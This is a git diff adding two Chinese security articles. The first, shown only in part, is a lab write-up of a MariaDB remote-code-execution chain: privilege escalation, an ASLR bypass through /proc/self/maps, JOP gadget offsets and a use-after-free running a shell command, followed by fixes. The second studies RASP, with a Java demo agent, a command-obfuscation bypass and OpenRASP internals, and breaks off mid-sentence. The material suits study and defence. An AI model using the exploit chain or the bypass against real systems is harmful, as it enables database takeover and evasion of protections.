+ +原理: + +● `LEX_USER::has_auth()` 方法在认证子句为空字符串时返回 `false` +● 这使得 `check_alter_user()` 权限检查被跳过 +● 但 `replace_user_table()` 仍会将空密码写入 `mysql.global_priv` 表,替换 root 的原有密码 +●结果:一句 SQL,任意已认证用户即可将 root 密码改为空,获得完整 DBA 权限 + +严重性: 影响所有已发布 MariaDB 版本。修复补丁(`dbd60d0ad8d`, MDEV-40470)仅存在于开发分支。 + + +### 第二阶段:ASLR 绕过(服务器端文件读取) + + +技术: `LOAD DATA INFILE` 读取 `/proc/self/maps` + + +```sql +CREATE TABLE appdb.maps_pre (l TEXT); +LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.maps_pre; +``` + +原理: + +● MariaDB 默认镜像 `secure_file_priv` 为 NULL(未设置),允许读取任意文件 +● `/proc/self/maps` 直接泄露 mariadbd 进程的完整内存布局 +●提取 PIE 基址(mariadbd 可执行段)和 libc 基址(libc.so.6) + +●每次运行的 ASLR 基址不同,但通过 SQL 实时获取,实现真正的 ASLR 击败 + + +### 第三阶段:JOP 链内存布局(纯 SQL 方式) + + +技术: 128 MiB 用户变量分配 + `/proc/self/maps` 差分地址发现 + + +```sql +-- 标记缓冲区:分配 128 MiB 并发现其地址 +SET @fake = REPEAT(CHAR(0xDE), 134217728); + +-- 重新读取 /proc/self/maps,与之前差分 +-- 找到新增的 0x8001000 大小的匿名 rw-p 区域 +LOAD DATA INFILE '/proc/self/maps' INTO TABLE appdb.maps_post; +``` + +地址发现与自引用解决: + +1分配 128 MiB 标记缓冲区 → glibc 分配专用 mmap 区域 + +2 通过 SQL 端 `/proc/self/maps` 差分获取缓冲区地址 +3 重新分配缓冲区,嵌入完整 JOP 布局(含自引用指针 `V+0xa8 = V+0x140`) +4glibc 释放旧块后复用相同 mmap 槽位 → 地址稳定 + +JOP 假 vtable 布局(位于缓冲区 V 处): + + +``` +偏移 内容 用途 +───────────────────────────────────────────────────── +V+0x20 D2 (PIE+0x80da77) result->prepare() 虚表槽 +V+0xa0 system() (libc+0x5c560) JOP 目标函数 +V+0xa8 V+0x140 rdi = 命令字符串指针 +V+0x100 D1 (PIE+0xe3075b) JOP 调度器 +V+0x140 "sh -c 'id > /tmp/pwned'\0" 执行的命令 +``` + +两个 JOP 小工具(来自未修改的 mariadbd 二进制): + + +| 小工具 | 偏移 | 汇编指令 | 用途 | +| --- | --- | --- | --- | +| D2 | PIE+0x80da77 | call *0x100(%rax) | 栈对齐修正(movaps) | +| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] | 加载命令指针到 rdi,调用 system() | + + + +### 第四阶段:F-05 SYS\_REFCURSOR Use-After-Free + + +漏洞位置: `sql/sp_cursor.cc` — `sp_cursor_array::get_cursor_by_ref()` + +漏洞原理: + +1 `sp_cursor_array` 使用 `Dynamic_array` 存储游标对象(每个 112 字节) +2默认容量 16 个游标 → 底层存储 16×112 = 1792 字节 + +3 `get_cursor_by_ref()` 返回指向 `Dynamic_array` 内部存储的指针 +4 当游标的 `open()` 方法执行攻击者控制的 SQL(打开更多游标),数组增长触发 `my_realloc` +5 `my_realloc` 释放旧存储 → 调用者持有的指针变成悬挂指针 +堆喷回收(heap spray): + +●128 个用户变量副本,每个精确匹配 1784 字节 + +●精确适配 glibc 释放的 1792 字节 chunk + +● 假 vtable 指针 V 放置在偏移 0x20(`sp_cursor` 的 `result` 成员位置) +虚函数调用劫持: + + +``` +Materialized_cursor::open() + → result->prepare() + → mov rax, [result] ; rax = 攻击者控制的假 vtable 指针 V + → call [rax + 0x20] ; 调用 D2 小工具 (prepare 虚表槽) +``` + +JOP 链执行流: + + +``` +D2: call *0x100(%rax) ; rax 仍为 V, V+0x100 = D1 +D1: mov rdi, [rax+0xa8] ; rax = V, V+0xa8 = V+0x140 (命令字符串指针) + call [rax+0xa0] ; V+0xa0 = system() + ; rdi = "sh -c 'id > /tmp/pwned'" + ; → system("sh -c 'id > /tmp/pwned'") +``` + +服务器崩溃: system() 返回后,由于进程内存已损坏,mariadbd 崩溃(PID 1 退出 → 容器停止)。这是预期行为。 + + +## 漏洞利用脚本说明 + + +两个利用脚本位于 `~/data/github/mariadb-13-rce-lab/`: + + +| 脚本 | 类型 | 攻击条件 | +| --- | --- | --- | +| exploit_pure_sql.py | 纯 SQL(推荐) | 低权限账号 + TCP | +| exploit.py | 宿主机辅助 PoC | root + /proc/PID/mem | + + +pure-SQL 变体的创新点: + + +| 传统方式(exploit.py) | 纯 SQL 替代方案 | +| --- | --- | +| docker inspect → PID + /proc//maps | LOAD DATA INFILE '/proc/self/maps' | +| /proc//mem 写入 JOP 链 | CONCAT/UNHEX 在分配时嵌入;SQL 端 maps 差分发现地址;mmap 槽复用保持自引用有效 | +| docker exec ... echo CMD | 命令字符串直接嵌入 JOP 布局 | +| root 密码连接 | GRANT PROXY 从低权限账号提权 | + + + +## 修复建议 + + + +### 短期措施(缓解) + + +1 设置 `secure_file_priv` 为空字符串或安全目录,阻止 `LOAD DATA INFILE '/proc/self/maps'` + +```sql +SET GLOBAL secure_file_priv = '/var/lib/mysql-files'; +``` + +2 限制 `max_allowed_packet` 为合理值(如 16M),阻止超大用户变量分配 + +```sql +SET GLOBAL max_allowed_packet = 16777216; +``` + +3 限制 `max_open_cursors` 降低游标数组重分配触发可能 + +```sql +SET GLOBAL max_open_cursors = 10; +``` + + +4 禁用 SYS\_PTRACE capability(容器环境),移除 `cap_add: SYS_PTRACE` +5 网络隔离:MariaDB 端口仅监听内网,不暴露到公网 + +### 根本修复 + + +1F-09 权限提升修复: + +○ 合入 MDEV-40470 补丁 (`dbd60d0ad8d`) +○ 确保 `GRANT PROXY ... IDENTIFIED VIA ''` 时 `has_auth()` 正确触发权限检查 +○ 建议在 `replace_user_table()` 前增加 `IDENTIFIED VIA ''` 的特殊拒绝逻辑 +2F-05 SYS\_REFCURSOR UAF 修复: + +○ 修改 `sp_cursor_array::get_cursor_by_ref()` 返回索引而非原始指针 +○ 或在 `open()` 期间锁定 `Dynamic_array` 防止重分配 +○ 建议重构 `Dynamic_array` 使用稳定指针(如 `std::deque` 或 index-based access) +3纵深防御: + +○ 审计 `LOAD DATA INFILE` 对 `/proc`、`/sys`、`/dev` 等敏感路径的访问控制 +○ 对用户变量大小增加硬限制,与 `max_allowed_packet` 解耦 + +## 参考链接 + + +[https://github.com/MariaDB/server/releases](https://github.com/MariaDB/server/releases) + +[https://github.com/dinosn/mariadb-13-rce-lab](https://github.com/dinosn/mariadb-13-rce-lab) diff --git a/books/RASP 研究,OpenRasp 原理与绕过.md b/books/RASP 研究,OpenRasp 原理与绕过.md new file mode 100644 index 0000000..142c2e4 --- /dev/null +++ b/books/RASP 研究,OpenRasp 原理与绕过.md @@ -0,0 +1,695 @@ +# RASP 研究,OpenRasp 原理与绕过 +> 2025-07-12 +> 来源:https://changeyourway.github.io/2025/07/12/Java%20%E5%AE%89%E5%85%A8/RASP%20%E7%A0%94%E7%A9%B6%EF%BC%8COpenRasp%20%E5%8E%9F%E7%90%86%E4%B8%8E%E7%BB%95%E8%BF%87/ + +## RASP 快速入门 + +### RASP 生成 + +前置知识:[基础篇 - Java Agent 详解](https://changeyourway.github.io/2024/10/23/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-JavaAgent%E8%AF%A6%E8%A7%A3/#transform-%E6%96%B9%E6%B3%95) + +仿照搭建 Java Agent 示例环境的过程,只需要将 Hook 的类改变为关键漏洞触发的类,即可实现一个简单的 RASP 。 + +Java 不允许在默认包中定义代理类。因此,建议为您的代理类添加包声明。 + +下面是我的简单 rasp 代码示例: + +**Agent:** + +实现了 premain 和 agentmain 两种方法,覆盖了 jvm 启动与 动态 attach 两种方式。 + +``` +package com.miaoji; + +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; + +public class MyCustomAgent { + /** + * jvm 参数形式启动,运行此方法 + * + * @param agentArgs + * @param inst + */ + public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { + System.out.println("premain"); + customLogic(inst); + } + + /** + * 动态 attach 方式启动,运行此方法 + * + * @param agentArgs + * @param inst + */ + public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { + System.out.println("agentmain"); + customLogic(inst); + } + + /** + * 打印所有已加载的类名称 + * 修改字节码 + * + * @param inst + */ + private static void customLogic(Instrumentation inst) throws UnmodifiableClassException { + inst.addTransformer(new MyTransformer(), true); + Class[] classes = inst.getAllLoadedClasses(); + for (Class cls : classes) { + System.out.println(cls.getName()); + } + + boolean retransformClassesSupported = inst.isRetransformClassesSupported(); + System.out.println("isRetransformClassesSupported: " + retransformClassesSupported); + boolean modifiableClass = inst.isModifiableClass(Runtime.class); + System.out.println("isModifiableClass: " + modifiableClass); + // 只有确认可重变形后才调用 + if (retransformClassesSupported && modifiableClass) { + // 主动重加载以触发 transform + inst.retransformClasses(java.lang.Runtime.class); + } else { + System.out.println("Runtime is NOT modifiable!"); + } + + } +} +``` + +**Transformer:** + +Hook 了 java.lang.Runtime 类,并检查所有 exec 重载方法的参数是否包含 calc 字符串,匹配到则抛出异常。 + +需要注意的是,在匹配类名的时候,要将全类名的 `.` 换成 `/` ,即 java/lang/Runtime 。这是因为在 JVM 的内部表示中,类名采用斜杠(`/`)分隔。 + +这种设计主要源于历史原因。JVM 的类文件格式采用了类似 Unix 文件系统的路径结构,其中斜杠用于表示层级关系。由于 Java 类文件最初是直接映射到文件系统结构的,使用斜杠作为分隔符更符合文件路径的表示方式。 + +``` +package com.miaoji; + +import javassist.*; +import javassist.bytecode.AccessFlag; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +public class MyTransformer implements ClassFileTransformer { + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + System.out.println("正在加载类:" + className); + if (!"java/lang/Runtime".equals(className)) { + return classfileBuffer; + } + try { + + ClassPool pool = ClassPool.getDefault(); + // bootstrap 类加载器需手动插入 rt.jar 路径 + if (loader == null) { + pool.appendClassPath(new LoaderClassPath(ClassLoader.getSystemClassLoader())); + } + CtClass ctRuntime = pool.get("java.lang.Runtime"); + + // 遍历所有 exec 方法重载 + for (CtMethod m : ctRuntime.getDeclaredMethods()) { + if (m.getName().equals("exec") && (m.getModifiers() & AccessFlag.PUBLIC) != 0) { + wrapExec(m); + } + } + byte[] byteCode = ctRuntime.toBytecode(); + ctRuntime.detach(); + System.out.println("[SimpleRaspAgent] java.lang.Runtime patched successfully."); + return byteCode; + + } catch (Exception e) { + e.printStackTrace(); + } + return classfileBuffer; + } + + /** + * 给 exec 方法增加简单的安全检查逻辑 + */ + private void wrapExec(CtMethod method) throws CannotCompileException, NotFoundException { + CtClass[] params = method.getParameterTypes(); + String paramExpr; + + if (params.length == 0) { + paramExpr = "\"\""; // 空参数时直接拼入空串 + } else { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < params.length; i++) { + sb.append("$").append(i + 1); + if (i < params.length - 1) sb.append(" + \", \" + "); + } + paramExpr = sb.toString(); + } + + String src = + "{" + + " String _cmd = \"" + method.getName() + "(\" + " + paramExpr + " + \")\";" // 始终合法 + + " System.out.println(\"[RASP] Attempt to exec: \" + _cmd);" + + " if(_cmd.contains(\"calc\")){" + + " System.out.println(\"[RASP] Blocked dangerous command: \" + _cmd);" + + " throw new RuntimeException(\"Blocked by RASP\");" + + " }" + + "}"; + + method.insertBefore(src); + } +} +``` + +resources\\META-INF\\MANIFEST.MF : + +``` +Manifest-Version: 1.0 +Created-By: miaoji +Agent-Class: com.miaoji.MyCustomAgent +Can-Redefine-Classes: true +Can-Retransform-Classes: true +Premain-Class: com.miaoji.MyCustomAgent +``` + +如此,一个简单的 RASP 示例项目就完成了。 + +但是,如果想用 mvn package 直接打包,建议用 pom.xml 的配置代替 MANIFEST.MF ,在 pom.xml 中添加如下内容: + +``` + + RASP-Demo + + + org.apache.maven.plugins + maven-jar-plugin + 3.1.0 + + + + + true + + + com.miaoji.MyCustomAgent + com.miaoji.MyCustomAgent + true + true + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 7 + 7 + + + + +``` + +xml 格式,一样的效果。 + +随后直接 mvn package 打包即可。 + +‍ + +### RASP 使用 + +要在新项目中使打包的 Java RASP Agent 生效,可以通过以下两种主要方式进行集成: + +#### 方法一:在启动时通过 `-javaagent` 参数加载 + +这是最常见且推荐的方式,适用于大多数 Java 应用程序。缺点:需要重启。 + +在启动目标 Java 应用程序时,使用 `-javaagent` 参数指定 Agent JAR 文件的位置: + +```bash +java -javaagent:/path/to/SimpleRaspAgent.jar -jar your-application.jar +``` + +请确保将 `/path/to/SimpleRaspAgent.jar` 替换为您实际的 Agent JAR 文件路径,将 `your-application.jar` 替换为您的应用程序 JAR 文件路径。 + +**注意事项:** + +- `-javaagent` 参数必须在 `-jar` 参数之前指定。 +- 确保您的 Agent JAR 文件中包含 `MANIFEST.MF` 文件,并正确设置了 `Agent-Class` 和 `Premain-Class` 属性。或者在 pox.xml 中正确添加了这些标签。 +- 如果您的 Agent 使用了 `agentmain` 方法进行动态加载,确保目标 JVM 支持动态附加(如 HotSpot JVM)。 + +idea 中也可以直接在运行配置中添加虚拟机选项(VM options): + +![](https://changeyourway.github.io/images/image-20250708173927-vijkl2m.png) + +如果没有 虚拟机选项(VM options),点击右边修改选项(Modify options),选择添加虚拟机选项(Add VM options): + +![](https://changeyourway.github.io/images/image-20250708174103-gcdx7p9.png) + +下面是测试代码与运行结果: + +``` +package com.miaoji; + +import java.io.IOException; + +public class runtimeTest { + public static void main(String[] args) throws IOException { + Runtime.getRuntime().exec("ipconfig & calc"); + } +} +``` + +![](https://changeyourway.github.io/images/image-20250708214650-ot71y0v.png) + +#### 方法二:动态附加 Agent(无需重启 JVM) + +如果您无法在启动时使用 `-javaagent` 参数,或者需要在运行时动态加载 Agent,可以使用 Java Attach API。 + +用下面的代码去实现: + +```java +package com.miaoji; + +import com.sun.tools.attach.*; +import java.io.IOException; +import java.util.List; + +public class AttachAgent { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { + // 调用 VirtualMachine.list() 获取正在运行的 JVM 列表 + List list = VirtualMachine.list(); + for (VirtualMachineDescriptor vmd : list) { + + // 遍历每一个正在运行的 JVM ,如果 JVM 名称为 RunJvm 则连接该 JVM 并加载特定 Agent + if (vmd.displayName().equals("com.miaoji.runtimeTest")) { + // 连接指定 JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + // 加载 Agent + virtualMachine.loadAgent("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\RaspDemo\\target\\RASP-Demo.jar"); + // 断开 JVM 连接 + virtualMachine.detach(); + } + + } + } +} +``` + +首先我们要获取 JVM 进程的 pid ,有多种方式,这里用全类名来查找(一般来说 vmd.displayName() 包含类名或 jar 名)。你也可以在要被 attach 的项目中用 ProcessHandle.current().pid() 来让目标程序在启动日志里打印自己的 pid ,但那样需要修改项目代码。 + +Windows 上,Attach API 的 `id()` 与任务管理器看到的 PID **是一致的**。 + +其中用到的 com.sun.tools.attach.VirtualMachine 类需要 tools.jar 依赖,IDEA 默认不会导入,我们需要手动导入: + +![](https://changeyourway.github.io/images/network-asset-image-20241023173202010-20250708212736-vteva4q.png) + +只要你能获取到 pid ,你可以在任何地方运行上述代码来动态 attach 。 + +测试代码: + +``` +package com.miaoji; + +import java.io.IOException; +import java.util.Scanner; + +public class runtimeTest { + public static void main(String[] args) throws IOException { + System.out.print("attach 完成后输入 unlock 解锁:"); + Scanner in = new Scanner(System.in); + while (!"unlock".equalsIgnoreCase(in.nextLine().trim())) { + continue; + } + Runtime.getRuntime().exec("ipconfig & calc"); + } +} +``` + +先运行测试代码,再运行 attach 代码,最后输入 unlock: + +![](https://changeyourway.github.io/images/image-20250708215448-jareduh.png) + +以上,我们用 Javassist 实现了一个简单的 RASP 示例,Hook 了 java.lang.Runtime 的 exec 方法,并拦截了 calc 字符串。这种示例仅展示 Rasp 的简单原理,如果想要绕过,还是很简单的,比如用 @ 占位: + +``` +cmd /c "set x=c@lc & echo %x:@=a% | cmd" +``` + +![](https://changeyourway.github.io/images/image-20250709091431-j6qdst5.png) + +那拦截办法,加更多的黑名单?或者有没有办法从更底层拦截呢?显然,实际情况下的 RASP 会比这个更复杂。 + +‍ + +## OpenRasp + +由**百度 OAESE** **智能终端安全生态联盟**开源的一款 RASP ,作为我们了解市面上真正应用的 RASP 的窗口。 + +下载链接:[https://github.com/baidu/openrasp](https://github.com/baidu/openrasp) + +### rasp + +刚来不太了解目录结构,定位 Premain-Class ,在 agent/java/boot/pom.xml 文件中找到了相关配置: + +![](https://changeyourway.github.io/images/image-20250709100810-zd23eu3.png) + +这是以 xml 格式配置的,不过看别人的分析文章是配置在 MANIFEST.MF 里,想来时代变迁,xml 配置因为适配 maven 打包而变得更流行了。 + +其中指示了主要的 agent 类为 com.baidu.openrasp.Agent ,直接关注其 premain 与 agentmain 方法: + +![](https://changeyourway.github.io/images/image-20250709102130-jg9i5mo.png) + +均调用了 init 方法,继续追踪: + +![](https://changeyourway.github.io/images/image-20250709102210-2fv05bd.png) + +其中 JarFileHelper.addJarToBootstrap 首先获取 agent 的 Jar 文件路径,然后调用 `inst.appendToBootstrapClassLoaderSearch` 。 + +在 Java Agent 里,`Instrumentation.appendToBootstrapClassLoaderSearch(JarFile jar)` 的核心作用,就是**把指定 JAR 加入到 JVM 最顶层的 bootstrap 类加载器的“兜底搜索列表”,** 其等价于运行期的 `-Xbootclasspath/a` 。 + +/a 与 /p 的区别: + +`-Xbootclasspath/p` **把你的 JAR 或目录“放到”引导类加载器(bootstrap class loader)的最前面**,优先级甚至高于 `rt.jar`; + +`-Xbootclasspath/a` **把它们追加到最后**,只有当 JDK 自己和其它 boot JAR 都没命中时才会去找。 + +**/p 能覆盖或“热补丁”JDK 核心类**,/a 只能让 boot loader 能看到你的新类而不会覆盖旧实现。 + +![](https://changeyourway.github.io/images/image-20250709102328-efdiuv9.png) + +getLocalJarPath 其关键在于 `Agent.class.getProtectionDomain().getCodeSource().getLocation()` 会在**运行时**返回 `Agent` 这个类究竟是从哪儿加载进 JVM 的——通常是一个指向 `agent.jar` 的 `URL`(例如 `file:/…/agent.jar` 或 `jar:file:/…/agent.jar!/`),于是就获取了 Jar 路径: + +![](https://changeyourway.github.io/images/image-20250709102649-mhtlsj7.png) + +上面这种方式在 agent 中挺常见的,即 + +1. `Class.getProtectionDomain().getCodeSource().getLocation()` 获取 Jar 路径 +2. `inst.appendToBootstrapClassLoaderSearch(new JarFile(localJarPath))` 将 Jar 放入 bootstrap 类加载器中,以确保能搜索到类。 + +于是,JarFileHelper.addJarToBootstrap 我们就看完了,接下来看 ModuleLoader.load : + +![](https://changeyourway.github.io/images/image-20250709111105-rjda278.png) + +看注释,它用来加载 RASP 模块,其要求三个参数:mode、action 和 inst 。在前面阶段,premain 、agentmain 传入的 mode 分别为 “normal” 和 “attach” ,premain 传入的 action 为 “install” ,agentmain 的 action 需要在运行时手动传入: + +![](https://changeyourway.github.io/images/image-20250709111232-rlygg9x.png) + +ModuleLoader.load 仅对 action 为 “install” 与 “uninstall” 的调用进行处理。当为 “install” 时初始化一个 ModuleLoader 对象: + +![](https://changeyourway.github.io/images/image-20250709112311-khq4hyn.png) + +其中,当 mode 为 “normal” 时额外调用一个 setStartupOptionForJboss() 方法,是为了扩展其在 Jboss7 下的兼容性。对于其他 mode ,直接初始化一个 ModuleContainer 对象,并将 ENGINE\_JAR 作为参数传入,我们可以看到 ENGINE\_JAR 指代 rasp-engine.jar : + +![](https://changeyourway.github.io/images/image-20250709112558-avkcb9e.png) + +来看看 ModuleContainer 的构造,**其读取 JAR 中的自定义清单,确认「模块名 + 入口类」,然后把 JAR 动态塞进系统/自定义类加载器的搜索路径,再反射加载并实例化入口类:** + +![](https://changeyourway.github.io/images/image-20250709112707-8lmjv8v.png) + +1 读取并校验 JAR 清单 + +```java +JarFile jarFile = new JarFile(originFile); +Attributes attrs = jarFile.getManifest().getMainAttributes(); +this.moduleName = attrs.getValue("Rasp-Module-Name"); +String moduleEnterClassName = attrs.getValue("Rasp-Module-Class"); +``` + +- **`JarFile`** **+** **`Manifest`** 用来解析 `META-INF/MANIFEST.MF`(或者说 pom.xml 中的配置项);这里约定了两条私有属性:`Rasp-Module-Name` 和 `Rasp-Module-Class`,只有两者都非空才算合法模块。 +- 读完立即 `jarFile.close()`,防止文件句柄泄漏。 + +2 判断运行时环境:系统加载器是不是 `URLClassLoader` + +2.1 传统 JDK 8- 及以下 —— `URLClassLoader` 分支 + +```java +if (ClassLoader.getSystemClassLoader() instanceof URLClassLoader) { + Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + m.setAccessible(true); + m.invoke(moduleClassLoader, originFile.toURI().toURL()); + m.invoke(ClassLoader.getSystemClassLoader(), originFile.toURI().toURL()); +} +``` + +- **核心点:反射调用受保护的** **`addURL(URL)`** **方法**——这是在运行时把新 JAR 塞进 `URLClassLoader` 的经典“黑科技”。 +- 既往 JVM 把 **系统加载器(AppClassLoader)** 也实现成 `URLClassLoader`,所以这种方式在 JDK 8- 时代可行。 +- 代码既把 JAR 加进 **专用的** **`moduleClassLoader`**(给模块自身用),也加进 **系统加载器**(给其它类直接引用)。 + +2.2 JDK 9+ 或自定义加载器 —— `appendToClassPathForInstrumentation` 分支 + +```java +else if (ModuleLoader.isCustomClassloader()) { + Method m = sysLoader.getClass() + .getDeclaredMethod("appendToClassPathForInstrumentation", String.class); + m.setAccessible(true); + m.invoke(sysLoader, originFile.getCanonicalPath()); +} +``` + +- 从 Java 9 开始,系统加载器不再继承 `URLClassLoader`,`addURL` 不复存在;JVM 改为**保留一条私有的 fallback 钩子**——`appendToClassPathForInstrumentation(String)`,专门给 **Java Agent/Instrumentation** 在运行期追加 classpath 用。 +- 反射调用该方法即可把 JAR 挂进系统加载器的搜索列表(效果与启动参数 `-Xbootclasspath/a` 类似)。 +- `ModuleLoader.isCustomClassloader()` 用来探知当前 JVM 是否启用了 OpenRASP 自己的特殊加载器;若返回 true,就走这一分支。 + +3 加载并实例化模块入口类 + +```java +moduleClass = moduleClassLoader.loadClass(moduleEnterClassName); +module = (Module) moduleClass.newInstance(); +``` + +- 反射加载清单里声明的 **模块入口类**,并强转为 OpenRASP 统一定义的 `Module` 接口/父类。 +- 这样每个模块都能实现自己的逻辑,同时被主程序管理。 + +这段代码完成以后,会将 Rasp-Module-Class 指示的类实例化并封装进 module 属性中,后续 engineContainer.start 也就是调用 module 属性的 start 方法 + +![](https://changeyourway.github.io/images/image-20250709121135-q9kcwf5.png) + +所以,这一部分 agent 指向了一个新的 Jar 包 rasp-engine.jar ,以及其配置文件,其中必包含两个项 Rasp-Module-Name 和 Rasp-Module-Class ,并且 Rasp-Module-Class 指向的类会被实例化,其 start 会被调用。 + +### rasp-engine + +下载的项目里面并不直接有 rasp-engine.jar 这个文件,但我们可以找到其对应的代码在 agent/java/engine 目录下。其 pom.xml : + +![](https://changeyourway.github.io/images/image-20250709114704-qr8nyf8.png) + +既然这里又指示了 com.baidu.openrasp.EngineBoot 这个类,顺藤摸瓜找到这个类,在其 Start 方法发现了一个大 logo : + +![](https://changeyourway.github.io/images/image-20250709121349-ady6xt9.png) + +缺失了 com.baidu.openrasp.v8 包,导致 com.baidu.openrasp.v8.Loader 找不到,在这里下载: + +[https://github.com/baidu-security/openrasp-v8/tree/4e1398d9e3de81a581c8f465b117abb8399a014d](https://github.com/baidu-security/openrasp-v8/tree/4e1398d9e3de81a581c8f465b117abb8399a014d) + +不过 Loader.load() 在这里是加载了一个名为 openrasp\_v8\_java 的库,实质是一段**本地(Native)代码**,暂不关注。 + +loadConfig() 完成对日志(log4j、云控、Syslog)的配置,不重要。 + +Agent.readVersion() 从 /META-INF/MANIFEST.MF 中读取配置信息,但是项目并没有 MANIFEST.MF 文件,同样是写在 pom.xml 文件中,其在 maven 打包时会将相关信息写入 jar 的 MANIFEST.MF 文件,使得代码可以读取到这些信息: + +![](https://changeyourway.github.io/images/image-20250709150930-bttpzmu.png) + +JS.Initialize() 完成了 V8 的初始化还有一些设置,仍然不是很清楚: + +![](https://changeyourway.github.io/images/image-20250709151737-iq02tkz.png) + +跟进 V8.Initialize() ,最终调用的是一个 native 方法: + +![](https://changeyourway.github.io/images/image-20250709153135-zawarx9.png) + +纯初始化。 + +后面的 V8.SetLogger 和 V8.SetStackGetter 设置两个属性 V8.logger 和 V8.stackGetter ,暂时没有看到用法。 + +#### Transformer 配置 + +回到 EngineBoot 继续往后看,initTransformer(inst) 很关键,它果然是用来配置转换器的: + +![](https://changeyourway.github.io/images/image-20250709155241-k9ppvrn.png) ![](https://changeyourway.github.io/images/image-20250709155254-gccragt.png) + +这里添加的转换器是 CustomClassTransformer 自身,那么真正的 hook 代码就藏在其 transform 当中了: + +![](https://changeyourway.github.io/images/image-20250709155531-m383cbb.png) + +这里维护了一个要被 hook 的类的列表 hooks ,通过 addHook 可以向其中添加值。 + +对于 hooks 列表中的所有类,调用 hook.transformClass 去修改(通过参数 classfileBuffer 拿到类的字节码)。 + +![](https://changeyourway.github.io/images/image-20250709163339-m6u766d.png) + +hookMethod 有 99 个实现,针对不同的执行点指定了不同的拦截方案: + +![](https://changeyourway.github.io/images/image-20250709163358-vp3m416.png) + +#### JNDI Hook + +找一个比较熟悉的,看看 JNDIHook 中的实现: + +![](https://changeyourway.github.io/images/image-20250709163554-p9al8c8.png) ![](https://changeyourway.github.io/images/image-20250709165214-aarmewh.png) + +相当于把 com.baidu.openrasp.hook.JNDIHook.checkJNDILookup($1); 插入 lookup 方法开头。 + +这个 checkJNDILookup 又干了什么呢? + +![](https://changeyourway.github.io/images/image-20250709173908-ud20gcw.png) ![](https://changeyourway.github.io/images/image-20250709174004-uhsiqmt.png) ![](https://changeyourway.github.io/images/image-20250709174100-dcaj58j.png) ![](https://changeyourway.github.io/images/image-20250709174137-zsq51zo.png) ![](https://changeyourway.github.io/images/image-20250709174202-arbm28h.png) + +追到 checkParam 这里有 7 个实现: + +![](https://changeyourway.github.io/images/image-20250709174303-raloso8.png) + +#### V8AttackChecker + +到底由哪一个 Checker 来处理 JNDI Hook 产生的检测请求,其实早就写死在 CheckParameter.Type 这个枚举里,最开始 checkJNDILookup 传入的第一个参数是 CheckParameter.Type.JNDI ,故而选择 V8AttackChecker 。 + +![](https://changeyourway.github.io/images/image-20250709175031-x1eh1w2.png) + +V8AttackChecker 的 checkParam 方法: + +![](https://changeyourway.github.io/images/image-20250709175217-rvr7k8d.png) + +JS.Check: + +1、将数据发送到 V8.Check 检查,并获取返回结果: + +![](https://changeyourway.github.io/images/image-20250710093650-khf1wyt.png) + +2、如果返回结果为空,将其对应的 hashData 加入到缓存 Config.commonLRUCache 中: + +![](https://changeyourway.github.io/images/image-20250710093751-tf6f2g4.png) + +这个 hashData 是来自于请求参数转化成的 json 数据,就是这串 json 数据的 hash 值(或者当 json 长度小于某个值时,直接使用 json 数据本身): + +![](https://changeyourway.github.io/images/image-20250710094003-irdmo59.png) + +3、将返回结果以 json 格式提取出来: + +![](https://changeyourway.github.io/images/image-20250710094623-dc0bith.png) + +V8.Check 实际调用 native 方法 Java\_com\_baidu\_openrasp\_v8\_V8\_Check ,找到这个方法,在 com\_baidu\_openrasp\_v8\_V8.cc 文件中: + +![](https://changeyourway.github.io/images/image-20250710095809-hj7fypz.png) + +这个方法实际上依然是一个中间层,它调用 isolate->Check 检查,然后处理返回值。 + +对于 isolate->Check ,全局搜索 Isolate::Check ,找到方法定义在 isolate.cc 文件中: + +![](https://changeyourway.github.io/images/image-20250710100422-z16ap8d.png) + +真正的调用 js 方法的地方: + +![](https://changeyourway.github.io/images/image-20250710112358-323odjb.png) + +那我又要问了,它怎么知道要调哪个方法呢?这里面没有看到任何跟 js 文件或是方法有关的位置信息。 + +果真如此吗?下面来回答一下:Isolate::Check 何以调用检测脚本? + +#### js 插件注册 + +js 插件文件在 com.baidu.openrasp.plugin.js.JS#UpdatePlugin() 中被加载,并早在 JS.Initialize() 中就被调用过。其中指示了加载 js 文件的路径,为:/plugins 。 + +![](https://changeyourway.github.io/images/image-20250709221558-j7jk22r.png) ![](https://changeyourway.github.io/images/image-20250709221611-grdf5ed.png) + +最后调用 UpdatePlugin(scripts) 处理 js 脚本内容: +![](https://changeyourway.github.io/images/image-20250710122345-jgmm2g2.png) + +这里调用 V8.CreateSnapshot 创建 v8 快照,V8.CreateSnapshot 是一个 native 方法,我们可以找到对应的方法名为 Java\_com\_baidu\_openrasp\_v8\_V8\_CreateSnapshot : + +![](https://changeyourway.github.io/images/image-20250710124956-ijn0vs1.png) + +新建一个 Snapshot 对象,这个对象将 js 插件列表封装进去了。 + +在 Snapshot 的构造函数 Snapshot::Snapshot 中,运行了其内建脚本 gen\_builtins 、配置脚本 config 、插件脚本 plugin\_list : + +![](https://changeyourway.github.io/images/image-20250711211838-un5z6uo.png) + +其中调用 isolate->ExecScript 执行 js 脚本,可以找到其实现 Isolate::ExecScript ,在 isolate.cc 文件中: + +![](https://changeyourway.github.io/images/image-20250711223818-v0qh2bo.png) + +在 Isolate::ExecScript 中,代码被编译为 HeapObject(Script / SharedFunctionInfo / JSFunction),进入 Isolate 的 **JS 堆**。 + +后续于是 Isolate::Check 可以找到这些方法并执行(这里不再解释,如果熟悉 C++ ,可以更快理解)。 + +#### RASP 黑名单 + +最后来看看真正定义 RASP 拦截的黑名单在哪里。 + +/plugins,应该指的是 openrasp-master\\plugins 即根目录下的 plugins 目录,其中有一个 